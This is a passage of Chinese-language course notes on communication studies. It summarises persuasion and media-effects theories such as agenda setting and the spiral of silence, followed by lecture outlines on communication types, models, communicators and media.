、相关理论基础与相关研究\n\n对态度的定义较多，基本意义是“对某一事物的心理感受”。说服是指通过接受他人的信息产生态度的改变。\n\n斯卡茨提出的态度的经典条件作用理论认为态度是建立在经典条件作用下的对一个字的情感意义。这一理论为早期的宣传策略研究提供了理论解释，如光辉泛化法等。\n\n态度改变研究主要有以霍夫兰为代表学习理论取向和海德等人为代表的认知一致理论取向。卡茨和同事将这两种理论取向联系起来，发展出功能取向。\n\n功能取向认为态度的形成和变化必须以“态度服务于人格需要的功能”为前提，这些功能包括工具性与功利主义功能；自我心理防卫功能；价值观表达功能和知识功能。由于功能的区别，态度改变的条件和技巧也不同。\n\n二战促成了说服与态度改变研究，由霍夫兰主持的美国陆军研究是当代态度改变研究的开端，对传播理论作出重要贡献。这一研究是实质上是一种学习理论或强化理论的取向。即认为态度由学习得来，态度改变与学习是同一过程。他的这些研究初步证明大众传播并不能强烈改变固有态度，与拉扎斯菲尔德在伊利县的政治宣传研究所得结论相似。对“有限效果论”的出现起了很大影响。耶鲁大学出版的《传播与说服》一书中涉及了很多劝服与态度改变研究的课题。\n\n二、劝服与态度改变研究中涉及传播方式和传播效果的研究成果可以归纳为：只说一面或两面都说；信源的特征；情感诉求与理性诉求；防疫论。\n\n只说一面与两面者说（单方面或正反两方面消息）\n\n同一讯息作两种方式处理。只说一面的讯息对于原先就等同此讯息的人非常奏效，对于教育水平低的人非常奏效；两面都说的讯息对于原先就反对此讯息的人非常奏效，对于教育水平高的人非常奏效。\n\n这一问题与宣传策略中的“洗牌作弊法”极其相似。霍夫兰的研究还发现有效的讯息表现形式要依据受众特点确定。由此研究发展而来的还有抵制反宣传即抵制态度改变的研究，此研究表明两面都说相对于只说一面使受众更具有抵制态度改变的能力。\n\n信源的特征\n\n也可称为信源可信度研究，与宣传策略的证词法密切相关。\n\n研究发现，传播者可以选择不同的信源，从而获得不同传播效果，信源的自身特征足以影响讯息。\n\n信源的信誉是影响信息的重要因素，信息来源需要具备权威性、专业性、知名度等特征，这样由它发出的讯息，其信誉就高，效果就好。\n\n有时并非如此，同一信源对不同受众影响是不同的，有时个人特质与受众接近的人反而可信度高，这取决于所传播的内容\n\n在说服过程中重复说服内容可以有效保持信源的高可信度\n\n情感诉求与理性诉求\n\n内容的传播可用情感方式，亦可用理性方式，或两者兼有。\n\n在现实的传播内容中往往既有情感因素又有理性因素，前者打动受众的感情，改变其态度；后者使其认识深入，改变其观念与行为\n\n典型的技巧，如“诉诸恐惧”，即在宣传中加入恐惧因素刺激受众心理以求态度改变，而取得的效果则取决于所宣传事件的有害程度，发生的可能性和相应对策的有效性的综合作用，即保护动机理论的观点。\n\n与诉诸恐惧相似的还有诉诸性感、诉诸幽默等等\n\n防疫论\n\n防疫论是美国学者麦奎尔在寻求抗御态度改变的有效方法时提出来的。他认为：人的信念、思想如果未经过锻炼和考验，一旦受到攻击时，便无力抵御，而被冲垮。要增强人思想上的防疫力，要使用滋补法，即让一个人事先接触支持其基本信念的论证；还要使用接种法，即让一个人事先接触一种弱性的、为刺激其防卫的反面论证。实验表明，接种法比滋补法更有效。\n\n当对象们接触到对于基本信念的攻击以及对于这些攻击的反驳时，会形成某种通用的免疫力，足以使这些基本信念在接触到另一种攻击时也不至于改变。\n\n该结论的根据是：第一次攻击被驳回后，此后攻击的可信度会因此而削弱，另外，对象在受到攻击后，会察觉到他的信念是会动摇的，这便促使其建立其他支持性论点\n\n三、理论的新发展\n\n近年有一些新的说服与态度改变理论出现，如麦奎尔的信息处理理论和安德森的信息整合理论等，这些理论共同点在于：\n\n1． 认为说服与态度改变是一个过程，说服经过一段时间才起作用\n\n2． 强调认知作用\n\n3． 认为受众能动的参与到态度改变过程当中\n\n两级／多级传播理论\n\n有限效果论体系的经典理论。拉氏在伊利县调查中发现，传播效果主要是维护、同化或催化，并不能有效改变受众态度。调查中提出了“两级传播理论”，并发现了“舆论领袖”。调查发现，媒介信息通过“舆论领袖”的过滤加工后到达与舆论领袖有接触的个体，形成大众传播——舆论领袖——受众的两级传播过程。两级传播比直接的大众传播更具有说服力，经过舆论领袖再加工的信息针对性更强，容易被受众接受和相信。后来卡茨等人的研究发现受传过程不只两个阶段，罗杰斯等人提出“多级传播”，认为媒介信息传至受众的过程中有多种方式、多种渠道，由多个中介环节组成信息传播链。多级传播是后来罗氏的创新扩散理论的重要理论根基。\n\n对该理论的批评主要有：舆论领袖与其他受众缺乏明显区别；特定场合受众无需中间人即可获得信息；舆论领袖的信源有时并非大众传播而是人际渠道；受众交换信息时难于区分舆论领袖和跟随者；舆论领袖有时不影响他人；影响过程可能不止两个阶段；在缺乏媒介的社会或发达社会中的危机环境中该理论不适用等。\n\n舆论领袖\n\n两级／多级传播中的重要角色，是人群中首先或较多接触大众传媒信息，并将经过自己再加工的信息传播给其他人的人。具有影响他人态度的能力，他们介入大众传播，加快了传播速度并扩大了影响。\n\n舆论领袖一般颇具人格魅力，具有较强综合能力和较高的社会地位或被认同感。在社交场合比较活跃，与受其影响者同处一个团体并有共同爱好，通晓特定问题并乐于接受和传播相关信息。\n\n在对舆论领袖的研究中发现，决策过程中不同的媒介扮演不同角色，人际影响比其他媒介更为普遍和有效，能够保持基本群体中的内部意见和行动一致。\n\n创新与扩散理论（采用扩散理论）\n\n适度效果论的经典理论模式之一。由罗杰斯于60年代提出，先前他提出的两级／多级传播理论是这一理论的重大渊源。著名的案例是对美国杂交玉米推广的调查。罗杰斯认为一项创新如果具有相对优越性、较好的社会兼容性，较低的复杂性和较高的实践性，那么这种创新就会较容易的被接受。同时受众的个人特征和群体因素也影响创新扩散的效果，受众是分阶段、分群体的接受创新观念。\n\n创新扩散过程的渠道既可以人际的也可以是大众媒介的。与两级传播过程不同的是，创新扩散中普遍存在异质性，即信源和受众特征高度不同，新观念通常来自风格迥异者，而不是像舆论领袖一样与跟随者差异不大。\n\n总体上讲，该理论研究媒介如何劝服人们接受新观念、新事物、新产品，侧重于大众传播对社会和文化的影响。一个创新扩散的过程至少包括四个环节：知晓：个体知道有某种创新事物存在；劝服：个人对该事物形成赞成或反对态度；决定：进一步思考、讨论和寻求有关情报，决定采用或拒绝；确定：寻求补充情报，如矛盾则可能改变原决定。\n\n结论：大众传播在过程早期比后期更有影响；传播的过程，通常呈S曲线，采用开始时很慢，扩大至一半时加快，当接近最大饱和点时又慢下来\n\n变革代表\n\n是“创新与扩散”中评估与试验阶段的重要角色，通常是推销员、商人等职业人士，他们试图朝自己认为有利的方向影响人们的采用决定，由于变革代表与目标群体之间往往存在差异性，因此他们常采用地方意见领袖来协助工作，作为散布过程中的中介，他们既要确保雇主的利益，又要满足顾客的期待，唯有如此，创新才能得到很好的扩散\n\n使用与满足理论\n\n适度效果理论的经典模式之一。卡茨在其研究中首先主张不但要关注媒介对人们做了什么，还要关注人们用媒介作了什么。早期的相关分析认为人们使用大众媒介主要是为了加强原有态度。1969年麦奎尔等人对英国大选的研究结论对此观点提出了质疑。后来卡茨于1974年提出了理论假设，认为受众具有社会和心理根源的需求，引起对大众媒介或其它信源的期望，导致媒介披露的不同形式，最后导致需求的满足以及其他无意的效果。\n\n卡茨总结了使用与满足理论的要素，包括：\n\n1． 受众是主动的，对于大众媒介的使用是有目标的。\n\n2． 受众需要的满足和对媒介的选择间的联系中，受众拥有主动权\n\n3． 媒介相互竞争以满足受众需要。\n\n卡茨将大众媒介视为个人用以联系他人的工具，认为媒介可以满足使用者的\n\n认知、情感、个人整合和社会整合，缓解压力等方面的需要。\n\n后来罗森格伦又提出另一种使用与满足理论。\n\n对于使用与满足理论的批评是很多的。有观点认为它缺乏规范的定义；分析\n\n模式混乱；研究方法过于简单而导致失真；过高的估计了受众在接触大众传播媒介时的目的性和自由性等等。施拉姆甚至认为，使用与满足还远远不是一种理论。\n\n随着现代信息技术发展，为受众提供了更加多样的媒介使用机会。现代使用与满足的分析认为媒介使用者在处理媒介消息时，有时是理性的，有时纯粹是消遣性或随意性的。受众的行为方式差异对媒介的效果也有影响，人们使用媒介为满足特定需要。总之，该理论以受众行为作为研究的核心概念，使研究活动开始更多的关注受众及其需求，强调了受众需求及其选择的能动性对于传播效果的制约作用，对于早期研究过多强调受众被动和说服效果的状况是一种修正。\n\n教养理论\n\n伯格纳通过长期研究电视效果而提出。现代社会，大众传播提示的“象征性现实”对人们认识和理解现实世界发挥着巨大的影响，由于大众传媒的某些倾向性本能，人们在以上中描绘的主观现实与实际存在的客观现实之间正在出现很大的偏离。同时，这种影响不是短期，而是一个长期的、潜移默化的“培养”过程，它在不知不觉中制约人们的现实观。\n\n另一方面，社会要作为一个统一的整体存在和发展下去，就需要社会成员对该社会有一种“共识”，只有如此，社会生活才能实现协调。提供这种共识是社会传播的一项重要任务。大众传播通过象征性事物的选择、加工、记录和传达活动，向人们提供关于外部世界及其变化的信息，用以作为社会成员认识、判断和行动的基础\n\n20世纪90年代提出了将教养效果分为两种类型的变量，即二级信念。第一级信念指对客观事实的信念，第二级信念是对客观事实推论得出的相关期望性信念。两种信念相互联系，效果程度还受外界因素影响。有关的研究还提出电视节目的一致性和新闻来源的一致性，伯格纳小组认为内容的一致性来自节目制作的集中化和追求大量受众的经济动机\n\n议程设置理论\n\n最早由麦库姆斯和肖提出。他们通过对一个社区的总统竞选进行调查，肯定了议程设置假说。研究证明：特定时间和地点，受众所关心的问题就是该地区该时期内主要新闻媒介所突出的问题。议程设置基于两个观点：一、各种媒介是报道新闻必不可少的把关人；二、人们需要由把关人帮助决定那些超出他们有限感受的哪些事件和问题是值得他们关注的。\n\n议程设置就是通过反复报道强化某一主题对受众的影响。该理论认为，大众传媒往往不能决定人们对某一事件或意见的具体看法，但可以通过供给信息和安排相关议题来有效地左右人们关注某些事实和议论的顺序。大众传媒对事物和意见的强调程度与受众的重视程度成正比。\n\n媒介议程与公众对问题重要性的认识并不简单吻合，是与其接触传媒多少有关，经常接触传媒的人的个人议程与大众媒介议程具有更多一致性。人们关注议题是为了满足自我需要，特别是寻求导向，获得与自我相关的信息及减少对议题的不确定性。同时媒介经常对某一议题进行突出报道反映它对该主题的好恶态度，这便是议程偏颇现象。夏洛特的研究还对公众议程和媒介议程的因果关系分析做了重要补充。\n\n议程设置的效果受多方面因素的影响，其中议题的强制性接触是一个重要因素。强制性因素就是公众能够直接亲身体验的议题，对这种议题的报道可能没有效果。\n\n现代议程设置研究涉及很多复杂事件的议程设置分析，对原有理论进行了拓展。主要观点是认为准确把握媒介的选择、内容报道的措词及定义规范、议题内容的相关性和议题谈论者的特征等要素可以有效增强议程设置的效果。议程设置理论的进一步研究显示：社会生活中通常有许多“议程设置者”，传媒只是其中较重要的一个。传播媒介要与其他社会力量协调互动才能发挥作用。议程设置为人们认识传播与社会提供了一个新的角度。\n\n案例：禁毒大战，水门事件\n\n沉默的螺旋\n\n纽曼《重归大众传播的的强力观》提出的“沉默的螺旋”假说。是强大效果论的经典理论模式。纽曼认为大众传播媒介确实有很大效果，但是，由于过去研究的局限性，其效果被缩小了。纽曼认为大众传媒的强大效果是在大众传播积累性、普遍性与共鸣性有机结合的基础上产生的。共鸣是指对一个议题的一致反应，可以克服选择性接触，这样人们不能选择其他消息，并且使人们认为多数人看待议题的方式与媒介表现议题的方式一致。\n\n“沉默的螺旋”理论认为：一个人自己的意见在极大程度上依赖于他人的想法，依赖于对他人意见的理解。在某一特定时期内，大众媒介所鼓吹的某些观点在社会上占有优势，对受众造成一种压力。大多数人力图避免因持有某种不同态度和信念而被孤立，因此在表达支配意见和不表达意见的个人数量增加的时候会放弃原有想法，实现与主导意见的趋同。同时，由于大众媒介表达支配意见，再加上对异议支持的日益缺乏，就形成了一个“沉默的螺旋”，持非主要观点的人在大众传播的压力下，随着时间的推移会变得越来越少。\n\n在“沉默的螺旋”中，大众媒介扮演了重要角色，是人们获得舆论传播的来源。大众传播能以三种方式影响“沉默的螺旋”：确定主导意见；增强意见影响力；维护某种意见的公众性。与此同时，进一步的研究显示大众面对舆论时并不是很无助的，舆论产生需要人际传播、大众传播、个人对社会舆论的理解三方面相互作用，大众传媒产生强大效果依然要受各方面因素的影响，这其中就包括受众的个体特征及其与议题关系等。大众传播媒介利用这些因素，形成积累渗透，与受众的从众心理、适宜的传播环境等配合，则可能让大多数人依照大众传媒所表现或指引的方向来认识事物、形成意见和采取行动。\n\n传播学笔记\n\n第一讲\n\n传播，与传播学\n\nI、什么是传播？ 傳播 Communication\n\n▲共享说：“传播就是变独有为共有的过程。”——戈德\n\n▲互动关系说：“传播可以定义为通过讯息进行的社会的相互作用。”——格伯纳\n\n▲符号说：“运用符号——词语、画片、数字、图表等传递信息、思想、感情、技术等。这种传递的行动或过程通常称为传播。”——贝雷尔森和塞纳\n\n▲目的、影响、反应说：传播是“某个人（传播者）传递刺激（通常是语言的）以影响另一些人（接受者）行为的过程。”——霍夫兰\n\n传播是一种行为，一种过程。传播的两个要素：1、信息——传播行为的内容；2、流动——传播行为的方式。因此，传播，就是信息的流动过程。\n\n一、传播的内容\n\n传播的内容就是信息。信息是“两次不确定性之差”。换句话说，信息就是能够减少或消除不确定性的东西。\n\n二、传播的类型\n\n非人类传播\n\n传播 非社会传播：自我传播\n\n人类传播\n\n人际传播\n\n社会传播组织传播\n\n大众传播\n\n传播的四种基本类型：自我传播、人际传播、组织传播、大众传播\n\n三、传播的形式\n\n1、符号和信号时代：开始于早期类人灵长类到早期猿人的进化时期\n\n2、口语时代：开始于9万年到4万年前\n\n3、文字时代：开始于5000年到3500年前\n\n4、印刷时代：开始于公元450年\n\n5、大众传播时代：开始于19世纪中期\n\n6、网络传播时代：开始于20世纪80年代\n\n人类传播的四次飞跃：\n\n1、第一次飞跃：从本能传播到主动传播\n\n2、第二次飞跃：4万年前，语言产生\n\n3、第三次飞跃：3500年前，文字产生\n\n4、第四次飞跃：19世纪中叶，近代传播工具诞生\n\n5、第五次飞跃：？\n\n施拉姆的“最后7分钟”比喻：\n\n如果把人类的历史共有100万年，假设这等于一天。\n\n1天=100万年；1小时=41666.67年；1秒钟=11.57年\n\n那么这一天中，人类文明的进展如下：\n\n晚上9点33分，出现了原始语言（10万年前）\n\n晚上11点，出现了正式语言（4万年前）\n\n晚上11点53分，出现了文字（3500年前）\n\n午夜前46秒，古登堡发明了近代印刷术（1450年）\n\n午夜前5秒，电视首次公开展出（1926年）\n\n午夜前3秒，电子计算机、晶体管、人造卫星问世（分别为1946、1947、1957年）\n\n因此，施拉姆说：“这一天的前23个小时，在人类传播史上几乎全部是空白，一切重大的发展都集中在这一天的最后7分钟。”\n\n人类传播的演进规律：\n\n（一）传播手段与传播媒介随着人类发展而不断进步，不断打破时空界限，不断创造人类新的经验类型。 1、加速度发展趋势。2、传播方式是叠加的。\n\n（二）传播与人类社会文化的积累与发展密切相关。\n\n（三）传播是经济及社会形态的直接产物。\n\nII、什么是传播学？\n\n一、传播学的研究对象\n\n1、人类传播的产生与发展： 传播思想、传播实践、传播技术的发展\n\n2、人类传播的形态： 自我传播、人际传播、组织传播、大众传播等基本类型、跨文化传播、发展传播、新闻、舆论、宣传、广告、公关、营销等\n\n3、人类传播的过程与结构\n\n宏观层面：传播与社会\n\n微观层面：传播内部过程、传播产业、传媒机构\n\n二、传播学的诞生与发展\n\n传播学作为一门学科，孕育于20世纪上半叶，形成于20世纪下半叶，首先诞生在美国。\n\n1、政治：美国的政治生活；两次世界大战。\n\n2、经济：广告的发展；大众传播业的发展。\n\n3、社会：正面影响；负面影响。\n\n4、学术：社会学、心理学、新闻学、政治学、符号学、语言学等；三论：信息论、控制论、系统论。\n\n传播学的四大先驱\n\n1、政治学家拉斯维尔：五W模式；传播的三大社会功能；内容分析法。\n\n2、心理学家卢因：团体动力论；“把关人”；实验法。\n\n3、社会学家拉扎斯菲尔德：两级传播论；哥伦比亚学派；调查研究法。\n\n4、社会心理学家霍夫兰：态度说服理论；耶鲁学派；实验法。\n\n传播学的鼻祖和创建者：威尔伯•施拉姆（1907~1987）\n\n▲对前人的传播研究加以系统化、正规化、完善化，创立了传播学。\n\n▲一生写了30多部传播学论著：《报刊的四种理论》、《大众传播媒介与国家发展》、《男人、女人、讯息和媒介：人类传播概览》（《传播学概论》）等\n\n▲大力推进传播学教育，创立了四个传播研究机构，形成了“施拉姆学派”。\n\n传播学的发展：1、麦克鲁汉的奇谈怪论；2、传统学派的发展；3、批判学派的理论\n\n思考题：▲如何理解传播？\n\n▲人类传播历史的演进过程是怎样的？有何规律？\n\n▲传播学为何在20世纪的美国诞生？\n\n▲传播学的四大先驱对传播学做了哪些贡献？\n\n▲施拉姆为何被称为“传播学之父”？\n\n第二讲\n\n信息，符号，与讯息\n\nI、信息\n\n信息是两次不确定性之差，或者说，信息是能够减少或消除不确定性的东西。\n\n信息是传播的客体，是传播的基本内容。\n\n一、理解信息\n\n1、信息和物质、能量一起，是这个客观世界的基本构成要素。\n\n维纳说：“信息就是信息，不是物质，也不是能量。”信息是和物质、能量的抽象程度相同的一个概念。\n\n2、信息是事物运动、变化、联系、差异的表现。\n\n3、人们借助信息可以认识客观世界。传播学所研究的信息是人类的精神创造物。\n\n一个重要的概念：熵\n\n▲热力学第二定律：“热量不能自动地从低温物体传向高温物体”，即“在孤立系统中实际发生的过程，总是使整个系统的熵的数值增大，它是不可逆的。”这就是熵增加原理。\n\n▲信息论、控制论、系统论中，熵是无序状态的量度，而信息就是一种负熵。\n\n二、信息的特征：\n\n1、客观性和主观性的统一；2、普遍性；3、表达性；4、流动性\n\n5、共享性；6、载体性\n\n片断性、时效性、可积累和可衰减性……\n\n三、基本分类：社会信息（传播学的研究对象）信息自然信息\n\n四、信息的传送过\n\n其他几个重要概念\n\n▲噪音：传播过程中的干扰即噪音。\n\n▲冗余信息：即信息中不影响信息完整的、不容信源自由选择的那一部分。\n\n▲反馈：“在人类传播中，指接收者对传播者发出的讯息的反应。传播者可以根据反馈检验传播的效果，并据此采取进一步的行动。”——施拉姆\n\n▲前馈：“指的是在经济和社会发展中使用大众媒介时，事先通过调查研究等方式了解传播对象的需要，以改进传播节目的制作，增强传播效果。”——施拉姆\n\n五、信息革命与信息化社会\n\n1、信息爆炸：知识老化的速度加快，新的知识层出不穷。\n\n2、地球村和地球都市形成：信息和媒介技术的发展使得人类联系更加紧密。\n\n3、信息成为人类最重要的资源：信息已经取代了物质和能源成为人类生产的核心。\n\nII、符号\n\n符号是用来指称或代表其他事物的象征物。\n\n符号是传播者和接受者之间的中介物，它承载着交流双方向对方发出的信息。\n\n一、符号的结构\n\n1、能指：符号的物质形式。如：人、human、 、……\n\n2、所指：符号所指代和表示的意义。如：红色代表着热情、喜庆、革命、鲜血、国旗……\n\n符号的意义又包括：辞典意义、引申意义\n\n二、符号的特性\n\n1、指代性：符号与它所指代的事物之间没有必然联系，这种指代是人们约定俗成的一种联系。\n\n2、社会共有性：社会共有的一般是辞典意义和一部分引申意义。很多引申意义是在小群体中形成的。\n\n3、发展性：人们不断赋予旧的符号以新的意义，并创造出新的符号和符号体系。\n\n三、符号的分类\n\n实际上，人类的传播符号经常是混合使用的。\n\n例如：沟通双方相互理解=语调（38%）+表情（55%）+语言（7%）——爱伯特•梅热比\n\nIII、讯息\n\n讯息就是传达一个具体内容的一组信息符号。讯息是人类传播内容的具体单位。\n\n思考题：▲如何理解信息？它和讯息、符号的关系如何？\n\n▲信息有什么特性？\n\n▲符号的结构如何？\n\n▲符号有什么特性？\n\n▲我们日常生活中使用的符号有哪些种类？我们未来从事的工作使用的符号有哪些种类？\n\n第三讲\n\n传播的基本类I、自我传播\n\n又称内向传播、自身传播，是发生在一个人体内的一种信息交流活动。\n\n自我传播实际上就是人的心理活动的内在和外在表现，它是心理学研究的范畴。\n\nII、人际传播\n\n人际传播是在两者或两者以上之间进行的，面对面的或凭借简单媒介如电话、书信等非大众传播媒介的信息交流活动。人际传播是一种符号互动。\n\n一、人际传播的符号互动过程\n\n二、如何进行良好的人际传播\n\n1、掌握尽可能多的符号及意义，熟练进行编码、解码；2、注意生活经验的不同；3、注意传播情境的制约\n\n三、人际传播的形式和使用的符号\n\n1、面对面：口语、类语言、身体语言、人际距离、穿着、实物符号等\n\n2、借助听觉媒介如电话：口语、类语言等\n\n3、借助视觉媒介如书信、网络的即时交流工具等：书面语、绘画语言等\n\n有效率的人际传播，应当综合运用各种媒介和符号。\n\n四、人际传播的特点 1、直接性；2、随意性强；3、保密性强；4、反馈迅速；5、可控性强\n\n五、人际传播的动机/功能\n\n1、罗洛夫认为，人际传播是一种社会交换，社会交换的主要是六种资源：物品、金钱、服务、信息、地位、爱。人际传播交换的主要是后三种资源。\n\n2、马斯洛的五个层次需要理论\n\n自我实现 尊重的需要 社交的需要 安全的需要 生理的需要\n\n3、约哈里之窗\n\n4、总而言之，人际传播的动机如下：\n\n（1）认识自我；（2）建立人际关系；（3）控制周围环境；（4）进行情感沟通\n\n六、人际传播与大众传播\n\n1、大众传播和人际传播等其他传播形式共同构成了社会信息的交互网络。大众传播是人际传播的规模化延伸，人际传播是大众传播的重要补充。并不能简单判定谁的效力更大，只能说两者各有所长。\n\n2、大众传播主要传递基本信息，而人际传播的劝服能力更强。\n\n3、人际传播是大众传播获取信息和反馈信息的重要手段。\n\n4、在大众媒介上呈现人际传播和人际关系，丰富了大众传播的制作手段和节目样式。\n\nIII、组织传播\n\n组织传播就是各种相互依赖关系结成的网络为了应付环境的不确定性而创造和交流信息的过程。\n\n具体而言，组织传播就是组织内部成员间、组织之间以及组织与环境之间的信息交流过程。\n\n一、组织就是“各种相互依赖关系结成的网络”。\n\n1、专业化的部门分工。2、职务分工和岗位责任制。3、组织系统的阶层制或等级制。\n\n二、组织传播的方向。1、自上而下；2、自下而上；3、水平；4、内外之间\n\n三、组织传播的形式：正规的和非正规的\n\n1、自上而下：布置工作、发布命令和指令、召开会议等\n\n2、自下而上：汇报工作、反映问题、提出意见建议等\n\n3、水平：工作交流、信息协作等\n\n4、内外之间： 信息输入与输出\n\n输入：DSS决策支援系统、MIS战略信息系统、POS销售/服务数据系统\n\n输出：CIS企业识别系统、广告、公关宣传\n\n四、组织传播的手段\n\n1、文字。包括文件、报告、信件等。2、会议。3、电话。4、组织内部的公共媒体，如内部报刊、电台、电视台等。5、内部网络。\n\n五、组织传播的功能\n\n1、内部协调，形成整体。2、控制环境，决策应变。3、形成共识，进行情感交流。4、鼓舞士气。\n\nIV、大众传播\n\n“大众传播是一个过程。在这个过程中，职业传播者利用机械媒介广泛、迅速、持续不断的发出讯息，目的是使人数众多、成分复杂的受众分享传播者要表达的含义。”——梅尔文•德福勒\n\n一、大众传播的特点\n\n1、传播者的职业化 à组织化\n\n2、媒介的机械化 à电子化、数字化和网络化\n\n3、讯息的大量化、复制化\n\n4、受众的大众化 à分众化、细分化\n\n5、反馈的弱化 à强化\n\n“所谓大众传播，就是专业化的媒介组织运用先进的传播技术和产业化手段，以社会上一般大众为对象而进行的大规模的信息生产和传播活动。”——郭庆光\n\n大众传播的新的发展：1、信源多元化；2、技术融合化；3、内容个人化；4、传受交互化；5、关系平等化\n\nV、传播，以及大众传播的功能\n\n一、各位学者的观点\n\n（1）政治学家拉斯韦尔：1948年《传播在社会中的结构和功能》\n\n1、监测环境；2、社会协调；3、传承遗产\n\n“外交官、使馆官员和驻外记者是专门研究环境的代表性人物，编辑、新闻工作者和演说家是内部反应的起关联作用的人，家庭和学校里的教育者传递社会遗产。”\n\n（2）心理学家斯蒂芬森\n\n工具性的传播：“传播——痛苦”；游戏性的传播：“传播——愉快”\n\n（3）传播学者赖特\n\n1、大众传播的协调、解释和规定作用；2、大众传播的社会化功能；3、大众传播的娱乐功能\n\n（4）传播学者施拉姆\n\n1、社会雷达，监视社会环境；2、操纵、管理和规定；3、指导和教育；4、娱乐\n\n总而言之，大众传播的基本功能为：1、传播信息；2、引导舆论；3、教育大众；4、提供娱乐\n\n二、大众传播的负面功能\n\n1、麻醉精神，取消行动能力\n\n2、如果传播者和传播组织受到不良政治经济社会环境的影响，大众传播的正面功能可能会变为负面功能。\n\n三、大众传播的经济功能\n\n1、大众传播业自身成为非常重要的产业经济部门\n\n2、大众传播业通过广告推动整个经济前行\n\n四、传播的功能与传播的效果之区别\n\n思考题：▲人际传播可以使用哪些形式及符号？\n\n▲人际传播和大众传播的关系？\n\n▲组织传播有哪些方向？\n\n▲大众传播的特点如何？\n\n▲传播的功能有哪些？大众传播的功能呢？\n\n第四讲\n\n传播模式\n\n模式非常重要。有了它，很多复杂的规律就可以变得清晰。\n\n模式，就是对规律的直观而简洁的论述。它是理论的简化形式。\n\n模式可以表示：（1）要素（2）关系和结构（3）过程（4）功能\n\n模式包括：（1）文字模式（2）图表模式（3）数学模式\n\n一、基本模式\n\n（1）线性传播模式\n\nI、拉斯韦尔的五W模式\n\nII、申农—韦弗数学模式\n\n讯息 信号 所接受信号 讯息\n\n线性传播模式的缺陷：\n\na、忽略了反馈，把传播理解为单向的过程；b、忽略了外部环境，把传播理解为孤立而不是系统的过程\n\n（2）控制论的传播模式\n\nIII、奥斯古德—施拉姆模式（人际传播）\n\nIV、施拉姆大众传播模式\n\n（3）系统论的传播模式\n\nV、赖利夫妇模式\n\nVI、马莱茨克模式（课本179页）\n\n二、大众传播对微观个体的影响之模式\n\nVII、两级传播模式\n\n三、大众传播对宏观社会的影响之模式\n\nVIII、议程设置模式\n\n四、以受众为中心的模式\n\nIX、使用与满足理论模式（课本305页）\n\n五、大众媒介的内部体系和行为的模式\n\nX、美国大众媒介体系模式\n\n消费者中趣味不同的受众\n\nXI、怀特的守门人模式\n\n思考题：\n\n▲熟练掌握六个传播基本模式。\n\n▲线性、控制论、系统论传播模式有何不同？\n\n第五讲\n\n传播者\n\n一、大众传播中的传播者，即媒介组织，及其从业人员。\n\n二、传播者的行为：编码、译码、释码；“守门/把关”；搜集、过滤、制作、传播\n\n三、影响把关的因素\n\n（1）传播制度\n\n“那种认为媒介是独立的力量，能够随意影响和型造社会的老看法，过于简单而且已经过时。所有的制度都必然在某种程度上对它们的媒介加以管制和控制。基本的原则是，在任何社会对它的传播机构所施加的控制都是从这个社会中产生出来并代表它的信仰和价值观的。”——梅尔文•德弗勒\n\n威尔伯•施拉姆等：《报刊的四种理论》\n\n1、集权主义传播制度：封建时代、独裁统治的国家\n\n特点：①传播媒介的所有权归独裁统治者所有；②严格的新闻检查和言论控制制度\n\n2、自由主义传播制度：早期资本主义社会\n\n特点：①大众传播不受政府控制，传播者具有传播的自由；②大众传播多样化、多元化，反映和代表多种不同的意见；③大众传播业自由竞争，自由营业\n\n弊端：①大众传播媒介不受政府控制，但是受到资本控制。媒介所有者形成了垄断，使得其他声音的发出者根本无法进入这个领域，自然谈不上意见的自由竞争。\n\n②大众传播媒介为了获取利润，多注意肤浅和刺激性的新闻事件，娱乐内容也缺乏积极性和创造力。\n\n3、社会责任传播制度：后期资本主义社会\n\n1947年，美国新闻自由委员会《自由而负责的新闻事业》\n\n①现代传播媒介要供给真实的、概括的、明智的关于当天事件的论述，它还要能说明事件的意义\n\n②现代传播媒介应当成为一个交换评论和批评的论坛\n\n③现代传播媒介要描绘出社会各个成员集团的典型画面\n\n④现代传播媒介要负责介绍和阐明社会的目标和美德\n\n⑤现代传播媒介要使人们便于获得当天的消息\n\n4、社会主义传播制度：社会主义国家\n\n特点：①所有媒介归国家所有，为人民服务；②传播属于上层建筑，应当从属于经济基础并且反映经济基础，应当从属于一定的阶级并且维护该阶级的利益\n\n（2）个体传播者所受到的影响因素\n\n1、政治法律因素；2、经济因素；3、社会文化因素；4、信息自身的因素；5、组织自身的因素；6、受众因素；7、技术因素；8、传播者个人的因素\n\n思考题 ▲请举例说明大众传播传播者的把关行为。\n\n▲资本主义传播制度和传播理念经历了怎样的发展历程？\n\n▲我国的传播制度对大众传播的控制体现在哪些方面？\n\n第六讲\n\n传播媒介\n\n一、 媒介Medium àMedia\n\n“媒介就是插入传播过程之中，用以扩大并延伸信息传送的工具。”——施拉姆\n\n大众媒介，就是大众传播所使用的，面向大众传播信息符号的物质实体。现代大众媒介包括报纸、期刊、广播、电视、互联网等。\n\n媒介：传播渠道，是一种物质实体、工具或技术手段，如广播。\n\n媒体：媒介组织、媒介机构，是一种从事信息的搜集、整理、制作、传播的专门组织，如广播电台。\n\n二、媒介发展简史\n\n1、早期的实物媒介、文字媒介\n\n2、近代平面/印刷媒介\n\n15世纪的印刷书17世纪的定期报纸18世纪的杂志19世纪中期的大众媒介：便士报、五分镍币杂志、一角钱小说\n\n3、电子媒介\n\n19世纪的照像技术、无线电技术、电话技术19世纪80年代的电影19世纪末的唱片20世纪初的广播20世纪中期的电视\n\n4、新媒介20世纪后期的卫星、有线电视、数字媒介、网络媒介\n\n三、认识媒介\n\n（1）施拉姆：认识媒介的八个原则\n\n1、媒介所刺激的感官；2、反馈的机会；3、速度的控制；4、讯息代码；5、增值的力量；6、保存信息的力量；7、克服弃取的力量；8、满足专门需要的力量\n\n（2）胡正荣：认识大众媒介的四个方面\n\n1、传播手段；2、时效性；3、持久性；4、受众参与的程度\n\n（3）认识四种大众媒介：报刊、广播、电视、互联网（见附件）\n\n（4）认识媒介应注意的几个问题\n\n1、媒介各有所长，各有所短，应取长补短。2、媒介有融合的趋势。3、警惕工具理性。\n\n四、选择媒介的原则\n\n施拉姆：媒介选择的或然率公式\n\n报偿的保证\n\n=选择的或然率\n\n费力的程度\n\n五、麦克鲁汉的媒介理论\n\n“地球村”；（1）媒介延伸论（2）媒介即讯息论（3）媒介凉热论\n\n思考题：\n\n▲请简述媒介的发展简史，并分析新媒介的发展趋势。\n\n▲我们应如何认识媒介以及大众媒介？\n\n▲四种大众媒介各有什么特点、长处和缺点？\n\n▲受众选择大众媒介的规律如何？\n\n▲麦克鲁汉的媒介理论对我们有哪些启发？\n\n第七讲\n\n传播内容\n\n一、大众传播的传播内容